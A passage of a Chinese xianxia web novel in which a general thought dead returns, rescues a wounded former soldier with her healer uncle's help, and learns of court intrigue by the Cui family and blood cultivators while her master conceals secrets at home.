他不知怎么想的,取了一枚残片,绑了红线,放在心口,不自觉地便会去触一触它。 仿佛通过这片冰冷的金属,他便能触到那人的手腕似的。 这会令他镇静而知足。 可眼下,赵狩将手放到胸口时,摸到的不是冷硬的金属,而是一簇细软的、绵密的东西。 他一脸空白地将红线扯出,红线尾端抖出一片气若游丝的残灰,在他面前散去了。 “……” 恍惚间,赵狩想起赵负雪古怪的笑容,背后蓦地蹿出一层冷汗。 一股莫名的直觉令他挪动僵硬的腿,艰难地走到了赵负雪方才坐着的棺前,在看清面前景象的刹那,他的瞳孔骤然紧缩。 冰棺中,有无数血水沉浮。 而血水轮廓,依稀间是一辆疾驰的破旧马车。 *** 守在议事堂的姜徵披着斗篷,不动声色地看了看置于堂上的更漏。 她来到赵家,已经有半个时辰了。 过的越久,宫中便越是藏不住。 思及此处,姜徵的轻微急躁了起来,她蹙着好看的眉头,心中想:“当年赵家禁地在什么地方?直接去闯行不行?” 这个想法还没在脑海中转一两圈,远处便响起了轮椅碾压路面的轱辘之声,姜徵眼睛一亮,手上却极为冷静,向着赵负雪行了个礼数周全的礼:“赵家主。” 久不现于人前,姜徵几乎忘了封澄的这位师尊长什么模样,赵负雪道;“姜姑娘远道而来,有何贵干。” 姜徵的脸霎时有些僵硬,她咬了咬牙,随即一把掀了脸上面皮,露出了一张神色清冷的脸。 “赵先生,封澄尸骨……” 赵负雪面不改色:“阿澄尸身,并不在我这里。” 姜徵恨恨地磨了磨牙——鬼话连篇。 当年天机军残部带来封澄阵亡的消息后,赵氏家主重病出关,连夜奔向长煌战场。 彼时战场天魔尚未全然撤下,天魔之主的精英亲族也于长煌徘徊不去,想要封澄尸骨的人不在少数,可谁有胆子去?谁有本事找? 赵氏家主去了三日。 三日后,他带回了一副轻飘飘的骨骼。 而自他而后,去长煌大原翻找封澄尸身的人,连她的一根头 发丝都没发现。 这封澄的尸身去哪里了,还用得着想吗? 想到这里,姜徵也不废话了,她果决道:“封澄是你徒儿,也是我的同窗,我们同窗之谊,并不你们师徒之情差。她理应安息,理应清清白白地下葬,受万世敬仰。” “赵先生留得住她的尸身,却夺走了她死后安宁,叫她无声无息地葬在赵家,连个祭拜之人都没有,这难道是一个师尊该做的事吗!” 不知是不是她的错觉,在说到师徒两字时,赵负雪的嘴角似乎轻微地勾了一下。 “死后哀荣,”赵负雪将这四个字细细咀嚼,半晌,笑了,“她若听你说出这话,或许会气活过来。” 第85章 第85章东西被取下来了 封澄一觉醒来,气得有些挂不住脸。 她道;“孩子赶紧抱走,把她嘴里的头发薅出来……怎么睡觉还流口水!” 老者手忙脚乱地接过庄儿来,庄儿睁着圆溜溜的眼睛,叼着封澄发尾的一缕长发,好似一匹委屈的小马驹一样,封澄看着那截被她亲手削下来的长发就十分胃疼,扶额道:“有水没有,我洗个头发。” 妇人有些尴尬地摇了摇头。 封澄气得一个白眼翻上了天。 说到底,她的这辈子大概和愁绪两字沾不上边了,昨晚心事重重地睡着,今天清晨便被这小丫头的一嘴口水淹醒了,眼下这乱七八糟一团,叫她只想把白眼翻到天上去,再狠狠地翻下来。 什么愁的气的,封澄眼下只觉得,能干的事统统干就行了,天塌下来也能补回去。 眼下到了驿站,她也该往拉舍尔部动身了,没有水,她也不能顶着被口水浇了的长发到处跑,她想了想,抬手取来桌上的刀子,三下五除二,将及腰长发干脆利落地削下了大半,只短短地束了起来,看着竟比之前清爽一些了。 刀子落在头发上的时候,封澄才意外地发现,她的头发长了不少。 “什么时候蓄的?”封澄有些意外。 大概是因为没有爹妈记忆的缘故,她自小便没什么身体发肤受之父母的概念,剪个头发于她而言再平常不过,她还挺习惯脖子十分轻快的感觉。 反倒是赵负雪很会照顾头发。 美人如赵负雪,连头发也足够勾人,他的漆黑长发落在她手臂上时,又凉又滑,仿佛上好的缎子。 思及此处,封澄陡然便有些面热,她拍了拍自己的脸,强行将自己从抽离出来,她随手把剪下来的长发一烧,转身便下了马车。 送别何氏一家后,封澄向拉舍尔部御剑而去,血剑出来得刹那,她的脚踏上去,却有些不敢动。 拉舍尔会是什么样子? 废墟,荒土? 灭部多年,即便是尸骨,也早已化成了草原上的一抔土,哪怕腥风血雨,也早就被绿草或黄沙埋了个彻头彻尾,能留下的东西想必是很少的。 少得人不敢回头去看。 凭空而来的孤寂骤然涌上了封澄的心头,她有些出神地想:“我大概是有点怂。” 莫名地,她有些想念赵负雪。 小的那个。 如若有赵负雪在,她大概会多一点儿果决,至少第一脚踏上血剑时,不至于差点踩空,一头扎了下去。 拉舍尔部离何家车马停靠的驿站不远,封澄行了半日,便赶到了拉舍尔部的上空。 她站在血剑上,忐忑不安地向下看去,只见入目是一片浓绿的原野,不知是不是她的错觉,这片的草似乎比旁处更茂盛些。 封澄的心底一沉。 血剑平稳落下,封澄喘了几口气,竭力缓了缓几乎枯竭的灵力,转身走入了半人高的野草之中。 当年欣欣向荣的小城中,毡包如同厚实的云朵,勇猛强壮的人在市集间叫嚷,走几步,偶尔会撞到一个头顶着牛奶的孩子,孩子转过头来时,眼中没有对生人的警惕,而是小兽一般的纯稚和野性。 “给钱,”那孩子道,“不然就拿桶打你。” 淳朴与野性在此地融合得如同骨头与皮肉, 拨开野草,封澄继续向前走去,她觉得,这野草高得令人喘不过气。 她拨开野草,走在空旷天地间,四处皆是断垣尘草,后知后觉地,封澄便品出了些“烂柯人”似的苦楚。 好像是流水涛涛向前,唯她被留在了原地。 “我走的时候,”封澄的眼泪往下掉,“明明嘱咐你们藏起来了。” 这帮傻子。 封澄走到了祭台前。 祭台四周野草横生,台子被砸得只剩了半边,生得半边上还以煤灰写了些肮脏的字眼,封澄找了最近的水塘来,脱了外裳,沾了水,仔细地擦拭祭台上的每一处脏污。 她除去祭台旁的野草,虔诚地,叩首。 “忠诚的、强悍的、守卫拉舍尔部的勇士,灵魂可以回归天空,此后不沾尘土,不受凡世所乱,有安宁可享。” 而凡世的公道,便由活着的人来讨,凡世的仇,便由活着的人来报。 “如若没有拉舍尔部的勇士,”封澄想,“天机军初上前线那日,便该全军覆没了。” 替他们去死的,是从前的边境军,是拉舍尔部的勇士。 忽然间,身后有草丛的动静,封澄警惕地回头,手心已经愈合的伤口飞快一动,一杆长枪隐隐作动。 一处已经荒芜已久的旧地,怎么会有人来造访呢? 是路人?或是另有异心? 谁料一声扑倒之声,封澄面前的野草被骤然压塌下去,封澄眼睁睁地看着一个血人倒了下来。 封澄:“!” 不知来者何人,不能轻举妄动,封澄深知战场上容不得心软的道理,她手上执着长枪,警惕地走进了趴倒在地的血人,拿枪尖不轻不重地戳了戳他,道:“喂,还活着吗?” 回答她的是一片寂静。 看来是差不多死了,封澄啧了一声,打算动手把人翻过来,找找身上有没有带足以证明身份的东西。 不过照这个血人的出血量来看,即便找着了,也不过是多一条认尸的途径罢了。 不料在手指触摸到那血人身上衣物时,封澄却骤然变了脸色。 她将人的外甲揭下一块来——这甲颇为陈旧,松松散散,防护的效果微乎其微,都不太用动手,只一扯就掉了。 这枚一扯就掉的甲片,无论是样式还是质地,都熟悉到了令她眼前发麻的程度。 封澄当机立断,扛起他,一脚踏上血剑,以平生罕见的速度,拼命向最近的城镇而去。 去有人的地方,才有医馆。 去有人的地方,才能救命。 血剑并非实体仙剑,本身便不适用于御剑而行,若非封澄灵力足,只载她一个的时候都险些翻车,更何况此时此刻,她身上背着一个穿着轻甲的人。 最近的城镇离拉舍尔部旧址并不是很远,御剑而行,片刻就到。城镇中人看着扛着血人的封澄,脸上大多有几分异色,封澄也顾不上了,她揪着一路人便问道:“最近的医馆在哪里?” 路人猝然被抓,面露惶然之色,封澄怕他听不懂官话,情急之下,竟换了拉舍尔古语道:“最近的医馆在哪里!” 那路人原本还跃跃欲逃,闻封澄此言,当即面色一凝,转身道:“这里没有医馆。” 封澄道:“那就你们看伤看病的地方!随便哪里都行! ” 路人犹豫道:“我们这里,只有,游医。他不知道,在哪。” 游医? 封澄两眼一黑,可此时别说是游医了,即便是兽医也行,封澄道:“他一般在哪?” 路人指了指南边:“那边,有个白房子,游医有时候会在,能治什么,说不定,碰上谁,要……看运气。” 死马当活马医了,封澄扛着那血人,一阵风似的刮向南边去了。 南边的毡包有许多,而白房子只有一个,封澄扛着人,心中告了不知多少遍满天神佛。 一踢门,看到里面人影时,封澄险些跪下去。 白房子里陈设简单,只被褥和桌椅茶具,只有屋里几只小泥人勉强称得上是摆设。 她也顾不得其他,对着坐于桌前称药的医师,扯开艰涩的喉咙,开口道:“救,救人!” 那人闻声,有些惊诧地回过头来。 在看到那人面貌时,封澄傻了眼。 “师……师叔!” 来者以半副白骨覆面,脸上烧痕斑斓,不是她那神龙见首不见尾的、四处云游的师叔吗?! 来不及感慨叙旧,封澄把人往屋中一放,道:“师叔,救人。” 温不戒看着她,嘴角几度抽搐,半晌,竟然爆发出惊天动地的大笑声。 “救人,”他笑得封澄都毛了,才慢慢地走向地上血人,“伤得很重,我不动血肉,你来动手。” 骤然听闻这指挥的封澄急得慌了头,竟然丝毫未察觉出此话的熟悉之处,只忙忙地寻了刀子来,以火烤了烤。 “对了,”封澄俯下身之时,温不戒的手轻轻地落在封澄背后,从她后颈处捏了一根微不可察的红丝出来,“这个小玩意,不能进我的屋子。” 封澄摸了摸脖颈,没觉得少了什么,于是哦了一声,继续俯身下去。 *** 姜徵与赵负雪的见面不欢而散,她临走时,眼睛冒火地盯着赵府,一旁的侍从颇有些瑟缩,被她吓得后退了几步。 “赵家主,世间并非只有你一人缅怀封澄,作为师长——尤其是被封澄不承认的师长,你是不是太多管闲事了些。” 赵负雪略微笑笑,有些疲倦地坐在轮椅上:“阿澄若当真不认,我倒省了些心。” 姜徵甩袖而去——这话说的,仿佛一个无奈的长辈,可口吻还是十分纵容的,仿佛在说封澄认死了他这个师尊,他还十分为之苦恼似的。 “屁!”走出赵家大门后,涵养良好的姜太后终于暴躁地骂了出来。 送走姜徵后,赵负雪重新回到了禁地中,原先在那里的赵狩已经无影无踪,赵负雪并不意外,他径直走向冰棺,抬手,却未见其中景象。 冰棺之中,一团糊涂的血水,本应该出现的东西,却沉沉不出。 赵负雪骤然有些阴沉。 东西被取下来了。 第86章 第86章又活了过来 封澄照着温不戒的吩咐,开始剥离血人身上的衣甲。 拿起刀子,她的鼻尖沁出一层薄汗,温不戒道:“从右肩向胸口玉堂穴,动刀。腐肉全除。” 封澄紧张地抬起头来:“玉堂是哪里?” 她执刀与温不戒对视,半晌,温不戒叹了一口气。 他拉起封澄的左手,按向自己的胸口:“这里。” 胸口温热,隔着薄薄的素色衣衫,甚至能想象到温不戒触感极佳的皮肉。 封澄低头一琢磨,哦了一声,反手拿起刀来,干净利落地转过头,开始剥那血人胸口腐肉。 温不戒的手一滞。 臭气与挥之不去的血腥气在密闭屋子里蔓延,而屋中两个活人皆浑然不觉。温不戒看着封澄动刀,笑了笑,转身取了要来,向着露出新鲜血肉的胸口撒去。 常人动刀,是绝对不敢如此去腐的,封澄自问,哪怕是她顶着血修的身体挨这刀子也不行,光失血就够她喝一壶。 可在温不戒的面前,她异常放心。 在赵负雪膝下生活许久,封澄不免和长辈打些交道,其中有老气横秋古板无比的,有暴跳如雷脾气比年纪还大的,个个看她横吹鼻子竖挑眼,好似恨不得把她清理门户的模样。 如此般,叫封澄挑出一个顺眼的人来,只能是这位师叔。 师叔一手医术堪称出神入化,只要人还有一口气,只要人的心脏还没有变成一块冷硬的石头,便能硬生生把人捞回来。 封澄不知他名姓,不知他长相,可年少与赵负雪赌气时,离家出走,无处可去,也只这位好脾气的师叔捡她回去住了几日。 温不戒指挥着封澄动手处理血人身上的每一处伤口,封澄聚精会神地听着,条理清晰地把刀子刺进肉里,再剥离腐肉,截掉坏死的手指。 一个时辰后,封澄停了刀,长长地舒了一口气,一屁。股坐在了地上。 面前的血人已经被妥善地包了起来,雪白布条捆得整整齐齐,他躺在榻上,露着一张惨白的脸,好歹呼吸平稳,脉搏无碍,命是保住了, 温不戒倒了两杯茶水,将其中一杯端来给她。封澄坐在地上,也不起来,正要接过茶水,却不防啪地一声,将茶杯摔落在地。 她微微愕然,反应过来后,还是笑了。 双手抖若筛糠,竟然连茶杯也端不住了。 地上茶水溅得到处都是,封澄爬起来就要去收拾:“等师叔回洛京,我给你挑套好的。” 她蹲下便要用手捡碎瓷片,不料刚伸过手去,手腕却骤然被擒住了。 温不戒蹲下里,抓着她的手,轻轻地摇了摇头:“这么大了,还用手去捡瓷片,放着我来。” 手腕上的力气大得令人有些傻,封澄站起身来,抽回了手,心中却不免嘀咕:“师叔看着弱不禁风一个人,力气倒很大。” 他蹲下收拾茶杯,伸出手时,手上的火烧纹格外瞩目。 此人似乎是经历过相当惨烈的火灾,身上的火烧痕迹遍布各处,封澄曾无意间窥到过师叔挽起手臂,眼中所见,着实令她触目惊心。 疤痕纵横。 当时她年少,自然以为他是蒙了火烧,才烧得许多瘢痕的,后来明白些事了,才意识到,当时师叔的手臂上不止有火烧,似乎还有刀、剪等等的利器伤痕。 与活剜的伤痕倒是很像。 封澄正出神,背对着她的温不戒却出了声,他道:“里屋有浴房,去换件衣裳。” 方才腐肉与血迹搞得封澄一身血肉模糊,似乎还冒出了不得了的臭味。封澄早有此意,于是笑道:“多谢师叔,果然出了门,还是碰到熟人好。” 二人之间的交流隔着一道默契且礼貌的隔阂,温不戒不问她一个死了五十年的死人是为何会活生生地出现,她也不问,在她战死之前便失踪不见的师叔,为什么会出现在一座与天魔毗邻的小城里。 眼下谈论这些,着实是没有必要。 封澄拿着衣裳,进了浴房。 长煌大原里是缺水的,如此情形,像洗个热水澡也过分奢侈了些,浴房里干净整洁,放着两盆干净的凉水,封澄脱了衣裳,拿一盆水将将冲了身体,便换上温不戒准备的干净衣裳出来了。 她将袖子与腰带往上拉了拉。 这件衣服似乎是一件尺寸大一些的女装,鹅黄色,干净,像是被精心对待过的模样,封澄小心穿着衣裳出来,抬眼见温不戒早已收拾好了砸落在地的碎瓷片,已经端然坐在了榻前,正在为血人把脉。 封澄擦了擦湿漉漉的长发——用血剑跑长途,她身上的灵力已经不太够了,连烘干头发的灵力都没有。 她过去,有些担心道:“如何了,师叔。” 温不戒垂着眼睛,半晌,放下了把在伤者手腕上的手指,偏过头去,乌幽幽的目光透过骨面具,看向了封澄。 “一个几乎咽了气的人,”温不戒道,“为什么要救他?” 封澄错开视线,不与温不戒对视:“……是我从前朋友,不能不救。” 我有个朋友,简直是天底下最能搪塞人的通用模板,温不戒闻言,温文尔雅地勾唇笑了笑,随即转过头去,也不逼问了,谁料封澄还没松一口气,温不戒便慢条斯理道;“见朋友,见到这荒僻地儿来了——师兄知道吗?” 封澄:“……” 一提到赵负雪,封澄便腿肚子转筋,她一言不发,权作自己又聋又哑,温不戒并不打算就这么放过她,道:“说话,不然我即刻给师兄传信。” 正中要害。 封澄道:“知道怎样,不 知道怎样,他管得着吗。” 温不戒摸了摸下巴,饶有兴味道:“孩子翅膀硬了,胆子大了,连师尊也不放在眼里了,也不知道当年是谁躲在我屋檐下偷偷掉眼泪,生怕我师兄不要她。” 封澄:“……” 封澄艰难道:“我解释过很多遍了,真不是因为……” 温不戒摆摆手:“我懂我懂,年轻人的脸皮薄嘛,依恋自己师尊这种事,说出去太丢面子了。” 简直根本不听人讲话,封澄额角青筋直跳,温不戒赶在她爆发之前,话音一转,转而道:“不过这么多年了,你即便翅膀再硬,也要回去看看师尊的,他年纪大了,行动又不便,孤寂得不得了,有个小辈承欢膝下,兴许还能宽慰些。” 封澄不知怎么,后背起了一层鸡皮疙瘩,一身恶寒。 温不戒口中的赵负雪,活像个行将就木的垂暮老者,她不由自主地想到赵负雪如妖似仙的一张俊脸,还有他男妖精一般炙热的身体,忍不住抖了抖。 ……见鬼去吧,赵负雪才不需要什么小辈承欢膝下,反倒是挺能折腾人。 温不戒继续絮絮叨叨,仿佛是个心善的长辈:“做师尊的人,和做父亲也没有什么区别了,你当年战死,他难过得不得了,虽不知你如今是怎么回来的,可于情于理,都该回去看看……” 封澄仿佛身上有一千只蚂蚁在爬一样,她打断了温不戒的滔滔不绝:“打断一下啊,师尊就是师尊,和爹没关系。” 说到这里,封澄倒回想起一件琐事来。 当年在初初窥到心中情意时,她异常茫然,天天魂不守舍,如此反常,当然瞒不住耳聪目明的师叔,他先发觉了不对,叫了她几个同窗来,旁敲侧击地讲了一通类似的话,只像一盆冷水似的骤然浇透了她。 她当然不是一盆冷水能浇透的人,可若冷水日复一日,持之以恒地浇,也不是一点儿用也没有的。 如若没有荒诞地回到赵负雪的少年时,贪得那偷来的情愫,她大概会自欺欺人,一辈子将赵负雪当师尊敬重。 思及此处,封澄叹了口气,捏了捏眉心。 接过这一贪便贪出了事,贪得眼下一团乱麻。 叫她没法回头做师徒,也难以迈步向前走半步。 于是封澄看向温不戒时,便有了些微弱的不自在。 千叮咛万嘱咐,她还是没忍住对自己师尊下了手——小的那个。 封澄有种拱了白菜的心虚感。 温不戒顿了顿,低头拿过放在一旁的茶水,饮了一口,才道:“抱歉,一时口快。” 封澄连忙摆摆手,意思是无需挂怀,温不戒又饮了一口茶水,才抬起头来道:“这么多年,你去哪里了?我听世人说,你似乎是死了。” 如若说来,便是一言难尽了,于是封澄叹了口气,很心累道:“在一个小黑屋,呆了五十年,前几日才逃出来。” 温不戒哦了一声,点了点头,又道:“长煌此地,都传你杀了天魔持劫,力竭战死。竟是传闻有误么?” 封澄点了点头,想了想,又连连摇头:“传闻岂能当真,且我当年并没有杀了持劫,惭愧。” 温不戒挑了挑眉:“你怎么知道?” 封澄道:“持劫乃天魔,天生造物,不知有多少死里逃生的本事,我当年不敢杀他,只起命阵,将他封死在长煌大原里头了。” “命阵?” 封澄道:“一个禁术,以一命换一命的,我本事不够,换不了持劫的命,得打个折扣才行,这折扣正合我意,换得把他长长久久地关着。” 阵法松动、持劫逃出的时候,都不知过去几千年了。 温不戒静静地看着她。 这本该是能收场了。 只是有一点突然变了。 封澄又活了过来。 交换的条件,被撕毁了。 第87章 第87章欠钱 温不戒听了,倒是沉默了许久,半晌,才缓缓道:“原来如此。” 封澄歪了歪头,道:“师叔去哪里了?许久未见你回洛京。” 话音方落,温不戒沉默了,片刻,道:“随意走走。” 封澄见状,心知他大概不便于说,正欲随便找些什么把话题撬过去过去,却听身后骤然传来一声呻吟,封澄精神一振,也顾不上温不戒了,扑到榻边,急切道:“师叔快来,他哪里出事了!” 血人被包得严严实实,整个人仿佛一只雪白的茧,浑身上下只露出了一只肿胀的眼,温不戒从容站起身来,深深地看了封澄一眼,抬手把住了血人的手腕。 凝神细听片刻,温不戒收回了手,道:“无事,只是伤口缓过来,开始疼痛。” 封澄一怔,转头看向血人,目光霎时有些波动。 温不戒道:“我方云游到此,身上药品恰好用完,并没有镇痛之药。” 封澄反应过来——他方才用的,大概只是白房子中其他游医留下的药材。 温不戒干脆利落地出手,卸掉了血人的下巴,封澄一惊,温不戒却道:“寻个东西给他叼上,咬碎了牙可麻烦了。” 封澄点了点头,出去片刻,端回来一块干净的树根。 温不戒轻轻地歪了歪头。 正要将树根送进那血人的牙关时,那血人睁开了眼。 封澄:“……?!” 封澄大喜,一跃而起,拍了拍温不戒道:“醒了,他醒了?!” 血人一睁开眼,便警惕无比,骤然一弹而起,一动却骤然扯动了伤处,当即痛嘶出声,封澄连忙道:“不要动,伤口刚刚处理过,你安全了。” 温不戒目不转睛地看着她。 闻言,血人一怔,他缓缓地平静下来,低下头,看到了包得严严实实的自己。 封澄伸手在他眼前晃了晃:“能看见吗?能听见吗?” 血人盯着她,半晌,点了点头,封澄放下心来,温不戒起身离去,片刻,端来一碗冒着热气的汤药,递来给那血人:“喝下去。” 汤药的味道十分古怪,封澄耸了耸鼻子,不适地眯起了眼睛——她总觉得这药的味道似曾相识,但却不像是寻常药草的味道。 血人警惕不已,抬手欲打翻药,可顿了顿,只是把药推了过来。 意思是:不喝。 见过顽固的伤患,可没见过伤成这样还在顽固的伤患,封澄当即便挑了眉,温不戒淡淡道:“若想早日站起来,就喝了它。” 这次不待血人回绝,封澄便接过药碗,一下便卸了那男子的下巴,他呜呜两声挣扎起来,封澄只把药一股脑儿灌下去,末了,合着他的嘴,又按几处穴位,强逼他把药饮了下去。 此人哪里见过这阵仗,一个不防,被封澄结结实实地灌了个足,封澄放下碗,那人一把推开封澄,趴在榻边便不住咳嗽起来,怒道:“你们是什么人!!” 话一出口,封澄与他皆愣住了。 温不戒抱胸看着他,波澜不惊道:“半日后,试试下地行走。” 封澄目瞪口呆,说到底,她还是头一次亲眼瞧见温不戒当面施展如此离奇的医术——一个刚刚还差点死了的重伤患,不过喝了他一碗药,转眼竟有力气吼了。 她心底不免啧啧——不愧是名动天下的医者,活死人,肉白骨,名不虚传。 伤者也傻了眼,他手足无措地摸了摸自己的喉咙,又摸了摸自己身上被妥帖处置的伤口,终于抬起头来,眨了眨眼睛:“……你救了我。” 封澄指了指温不戒:“知道就好,回头记着人家的脸,好好谢谢人家——哎,不是让你现在磕头,我有话问你。” 她把差点滚下床磕头的伤患拦住,他有些愕然地抬起头来,眨了眨眼睛:“你说。” 封澄定定地看着他,郑重道:“天机铁骑残部,现在都在哪里?” 听闻此话,他霎时如同被烙铁烫了,一跃而起,大怒不已,道:“我就知道你们不是好人!黄二此身死不足惜,即便是粉身碎骨,也不会说出我天机铁骑的下落!” 封澄 :“……” 封澄困难地回想了一下当年的征兵册,试图在其中搜寻出一个叫黄二的人名来,温不戒偏过头笑了:“我当什么朋友值得你千里迢迢往长煌大原来,原来是旧部?” 莫名地,封澄从温不戒此番话中咂摸出几分怪异的味道,她皱了皱眉,对黄二道:“你看我的脸,看仔细些。” 既然是穿着当年天机铁骑的衣甲,总不会连她都认不出来。 谁料黄二看也不看,蒙头道:“我兄弟说,自古美人如枯骨,总使名将尽断肠,你长成天仙也没用,我黄二可不是屈从于美色的男人!” 言之凿凿,掷地有声。 此言一出,四下霎时静了,片刻,温不戒哧地一声笑了出来。 额角青筋直蹦,封澄忍无可忍,反手一巴掌抽在了黄二重伤初愈的脸上,大怒道:“瞪大你的眼瞧清楚,什么美人不美人的,老娘是你顶头老大!” 闻言,黄二更坚定了:“我老大?我老大死了几十年了!你们抓我来,怎么连这点儿都不搞清楚。” 这么说着,他还是手指微微张开,露出一条指缝,透过指缝,鬼鬼祟祟地觑了封澄一眼。 封澄压着眼看着他。 黄二的脸色霎时有些古怪,他放下笼着脸的手指,小心翼翼地凑近,看上看下,看了又看。 在彻底看清封澄的脸后,他嗷了一声,两眼一翻,过去了。 温不戒与封澄交换了一下视线,片刻,封澄道:“……还有什么药吗?把他弄醒那种。” *** 黄二晕得快,醒得也快,转眼便翻着白眼醒来了。 封澄好整以暇地看着他,微笑道:“醒了?醒了就起来,把这些年的事一五一十地给我说清楚,连着你是怎么变成这副半死不活的样子,也一起给我说清楚。” 黄二活像见了鬼一样看着她。 比上司更可怕的东西,是顶头上司,比顶头上司更可怕的,是死了又活过来的顶头上司。 默了半晌,黄二才弱弱道:“这些年假扮您老人家的也不在少数,光凭一张脸,怎么让人信服?” 封澄眯了眯眼,道:“天机铁骑第一年的军费,白银一千七百两,朝中特批而下,而军费批下的第二日,便有几个不长眼的惹了事,害得我给人赔钱——赔出去的银子,也是一千七百两。” 思及此处,封澄久违地勾起了嘴角。 黄二勃然变色的脸,封澄慢慢道:“当然,没人敢把这事往外吆喝,连带记账也没敢往里记,生怕第二年朝廷便不养天机军了——于是在朝中第二笔军费批下来前,我开口向洛京赵家借了银子,白银十万两。” 天机军养的都是正儿八经的修士,无论是配灵器,还是日常训练,养兵成本都是极为骇人的。 十万两白银的军费,说多不多,可养一批几千人的军队,便是极为骇人了。 封澄淡淡道:“而你老大我,至今还没还上我师尊的银子。” 十万两,想想就想吊死了。 也不知道她得吃几辈子俸禄,才能还得起这笔银子。 温不戒又嗤地一声笑了出来。 闻言,黄二只心头打哆嗦,他擦了擦自己的眼睛,平息着越跳越剧烈的胸口,目光渐渐灼热起来:“后来——” 封澄道:“后来,咱们把崔家抢了,换得白银,明面上养天机铁骑,实则只买了批甲,剩下的拿来给拉舍尔部修了屋子,购了牛羊,当时还被卖羊的小孩骗了——听说那小孩后来也进了天机军,还活着吗?” 黄二越听,眼眶越酸,封澄话音方落,他热泪盈眶,大叫一声,猛地捂住了脸。 他喃喃道:“你还活着,你还活着!” 封澄少见男人哭成这副手指缝里都往外漏泪水的模样,颇有些手足无措,她轻轻拍了拍黄二的后背,试图在他满是布条的后背处寻一个能顺利拍下去安抚的位置。 温不戒在一旁凉凉道:“即便是再神的药,也经不起这么上下折腾,一会儿伤口全裂开,我可不救他。” 封澄干巴巴道:“……还活着,莫哭了,小心伤口裂开。” 黄二把脸埋在手里,忽然一住,他慢慢地抬起手,盯着自己残缺的小指看了看,片刻,他定了定神,转头地看着封澄,将残缺的小指压在了手心:“封将军,你还记得我吗?” 封澄迟疑道:“黄二,是你本名吗?” 黄二道:“我叫黄笳,家中排行老二,便这么称呼着了,我当年给将军做过探子。” 这么一说,封澄便知道了:“昌郡黄家的修士。” 黄二用力点点头。 封澄皱了皱眉:“昌郡黄家,擅疾行,滑不溜手,谁把你伤成这副样子的?” 话到此处,黄笳的眼睛暗了暗,片刻,目光移向了温不戒。 温不戒识趣地起身,道:“外头似乎有鸟叫,我去看看,能不能入药。” 随着门被合上,黄笳才看着封澄,涩然道:“铁骑残部,不过百余人,当年我们拒不归天机军,这些年来颇受朝廷白眼。” 顿了顿,黄笳又连忙道:“我等并非谋逆,若还是将军当年的天机军,归了便归了,咱们当年不都是从天机军里出来的么?可偏生京城那边闹了幺蛾子。” “崔家提了个人——是崔家独一份参过军的天机师,然后不知用了什么法子,竟一力把他送到了天机主将的位置。” “我等不肯归顺这崔家小子,崔家便视我等为敌,这些年一直没松过嘴,不知多少人都折崔家手里了。” 黄笳垂下眼道:“属下也不例外。” 第88章 第88章一清二楚 崔家,又是崔家,封澄恨得牙痒——在赵负雪的少年时,豢养血修,倒卖长醉,还想给赵负雪染上药瘾的也是崔家。 黄笳道:“将军不知,近些年来,天机世家颇为式微,楚家不问世事,姜家杂事缠身,原先还有个赵家能镇住,可自打将军战死后,赵家也和楚家一起不问世事了——话说回来,楚家家主还时时有些音讯,负雪先生却是音讯全无了。” 他没注意到封澄有些凝滞的脸色,继续道:“而崔家,便是在这些年里头,忽然崛起了。” 封澄皱眉不已:“崔家天机师修为有限,如何崛起?” 据她印象,崔家那些子弟,没一个身手利索的,那点儿天机术都不够从天机院毕业,如何能把天机铁骑逼成这般狼狈模样。 黄笳叹了口气:“将军,刀枪杀人,哪有权快?” “血修一派把持朝中,崔家依附血修,自有千万人替他们动手,散修,邪修——何须崔家人亲自下场?” 又是血修,封澄不住地皱眉。 黄笳道:“姜太后当年杀的那批血修,卷土重来了。” “……姜徵不会把人放进来。” “放血修进朝的人,是皇帝。” 封澄微微愕然。 黄笳道:“将军知晓,皇宫有阵,凡修士入阵,皆为凡人。以此求得皇室安稳。” 封澄点了点头,这点儿她清楚。大夏皇族,祖祖辈辈皆为凡人,娶得天机世家女子,一入宫门,也成了凡人。 姜徵便是如此。 可在这阵中,却有一例外。 血修。 血修食人,躯体的强度绝非寻常凡人可及,即便是进了阵中失去灵力,还有着远胜于凡人的身体。 黄笳道:“如今的皇帝胆子小得很,宫里没血修便睡不着,生怕哪里冒出个天机师来割了他的狗头,于是呢,把那帮吃人的孙子放进宫里当亲爹供着,你说说,这算什么事。” 封澄垂了垂眼睛,一句话也不说。 血修要吃修士,小皇帝要打压修士,这两方殊途同归,当然能尿到一个壶里去。 可若是修士被吃,还手打人也是疼的。 那么作为软柿子的凡人,填填牙缝行不行呢? 如此举动,简直是与虎谋皮。 不知怎的,封澄想起了姜徵少女时摇摇晃晃走进宫里去的背影。 猝然间,她想到了一人,抬头道:“镇国神兽呢?它不 守着皇族吗?” 黄笳随手端起放在一旁的茶水,润了润唇,道:“你说它?这事更离谱了,它几十年前忽然消失不见了,连灵力也一同消失在大夏,一开始人家还当它老人家犯懒睡觉去了,谁料这祖宗一丢便是几十年!你说那小皇帝为何怕成这样?护着他的镇国大兽没了,一介凡人,站在满地天机师里头当老大,谁服他?反正我是不服。” 封澄用力闭了闭眼睛。 八方哪里去了? 和她一起在天征四年。 这茶水似乎不是很合黄笳的口味,他端着茶杯咂了咂嘴,继续道:“这些年来,那狗皇帝破事不知干了多少,就仗着持劫死了,天魔消停不少,天机师没那么金贵了,将军可知现在朝中正当风头的是哪一派?何家!一个正经修士都没出过的何家!深受狗皇帝器重!” 封澄皱了皱眉,消化着这些年的消息,默了半晌,她猝然想起破旧马车上的何家小姑娘。 方才她还奇怪,何家这种没出过修士的人家,出了个修士,应当呼风唤雨地护着养着才对,怎么反而要把人远远地送走? 现在一想,倒是明白了。 作为一个与大夏皇族站在一起的、只有凡人血脉的纯臣,是不能允许血脉出现秩序外的差池的。 有修士出生,便意味着,他们有一线不和大夏皇族站在一起的可能。 黄笳啧道:“而且啊,小皇帝——不对不对,他现在都老成老头儿了,是老皇帝了。他不肯按律娶一修士作妻,于是没有身为修士的皇后共治,姜太后名分上都是人家母亲了,帝后共治,总治不到她一个太后头上。” 封澄静了静,慢慢地笑了:“好舍得的小子,无后,便无嗣,这是打算百年后,将皇位拱手给他人了。” 黄笳道:“还有,这老皇帝上位修史,把长煌之战报了个全军覆没,天机铁骑被他一笔写死了!老东西还想在史书上泼将军脏水,好在姜太后据理力争,勉强保住了将军清名。” 封澄道:“你消息倒是灵通。” 黄笳点了点头,又道:“不灵通不行啊,没点消息,早叫人捉死了。还有,如今血修派为首的,叫什么……叫齐什么的,颇受那老皇帝倚仗,如今已嚣张得不怎么像人了,这不就这次替崔家出手的便是血修,想放血削肉,慢慢吃我来着,被我跑了,嘿嘿。” 